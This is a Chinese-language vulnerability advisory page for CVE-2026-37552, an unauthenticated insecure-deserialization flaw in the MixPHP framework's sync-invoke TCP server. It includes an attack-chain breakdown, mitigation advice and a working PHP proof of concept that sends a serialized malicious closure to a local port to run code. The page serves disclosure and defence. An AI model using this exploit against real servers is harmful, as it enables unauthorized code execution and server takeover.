IPBUF安全漏洞报告
English
CVE-2026-37552 CVSS 8.4 高危

CVE-2026-37552 MixPHP不安全反序列化漏洞

披露日期: 2026-05-01

漏洞信息

漏洞编号
CVE-2026-37552
漏洞类型
不安全反序列化
CVSS评分
8.4 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
MixPHP Framework

相关标签

RCE反序列化MixPHPCVE-2026-37552PHP

漏洞概述

MixPHP Framework 2.x 至 2.2.17 版本存在不安全反序列化漏洞。由于 sync-invoke TCP 服务器未对传入数据进行认证或签名校验,直接反序列化并执行,攻击者可借此在访问本地端口时实现任意代码执行。

技术细节

该漏洞源于 MixPHP 框架中的 sync-invoke TCP 服务器组件处理用户输入不当。具体而言,Server.php 文件的第 87 行代码在接收到来自 TCP 套接字的数据后,未进行任何安全过滤或身份验证,直接将其传递给 `Opis\Closure\unserialize()` 函数进行反序列化操作。紧接着,反序列化还原出的对象会被 `call_user_func()` 执行。由于 Opis\Closure 支持序列化 PHP 闭包,且该通信接口完全没有认证机制,任何能够连接到服务器本地回环端口(127.0.0.1)的攻击者,都可以构造包含恶意 PHP 代码的序列化闭包对象。一旦这些数据被服务器接收并反序列化,恶意闭包内的代码将立即在服务器进程中执行,导致严重的远程代码执行风险。

攻击链分析

STEP 1
Reconnaissance
攻击者探测目标服务器,发现其运行 MixPHP Framework 并在 127.0.0.1 开放了 sync-invoke TCP 服务端口。
STEP 2
Exploit Generation
攻击者利用 Opis\Closure 库构造恶意的 PHP 闭包对象,该对象包含旨在服务器上执行的任意代码,并将其序列化。
STEP 3
Delivery
攻击者通过网络连接(如果已获得内网访问权限或通过其他漏洞跳板)向目标服务器的 TCP 端口发送构造好的恶意序列化数据。
STEP 4
Execution
MixPHP 的 Server.php 接收数据,调用 Opis\Closure\unserialize() 反序列化数据,并通过 call_user_func() 执行闭包中的恶意代码。
STEP 5
Impact
恶意代码在服务器上下文中执行,攻击者获得服务器控制权,可进一步窃取数据或植入后门。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<?php // PoC for CVE-2026-37552 // Requires opis/closure library: composer require opis/closure require 'vendor/autoload.php'; use Opis\Closure\SerializableClosure; // Define the malicious payload (e.g., execute a shell command) $malicious_function = function() { // Example: Create a file to prove execution file_put_contents('/tmp/poc_success.txt', 'CVE-2026-37552 Exploited'); // Or execute system command // system('whoami'); }; // Serialize the closure using Opis\Closure $payload = Opis\Closure\serialize($malicious_function); // Target configuration (Check target config for actual port) $host = '127.0.0.1'; $port = 9501; // Send the payload via TCP socket $socket = stream_socket_client("tcp://{$host}:{$port}", $errno, $errstr, 30); if (!$socket) { die("Connection failed: $errstr ($errno)\n"); } fwrite($socket, $payload); fclose($socket); echo "Payload sent to $host:$port\n"; echo "Check /tmp/poc_success.txt on the target server.\n"; ?>

影响范围

MixPHP Framework 2.x - 2.2.17

防御指南

临时缓解措施
建议立即通过防火墙规则严格限制对 MixPHP sync-invoke 服务端口(默认绑定 127.0.0.1)的访问权限,确保仅有受信任的本地服务可以通信。如果业务不需要该功能,应暂时禁用该服务以降低风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表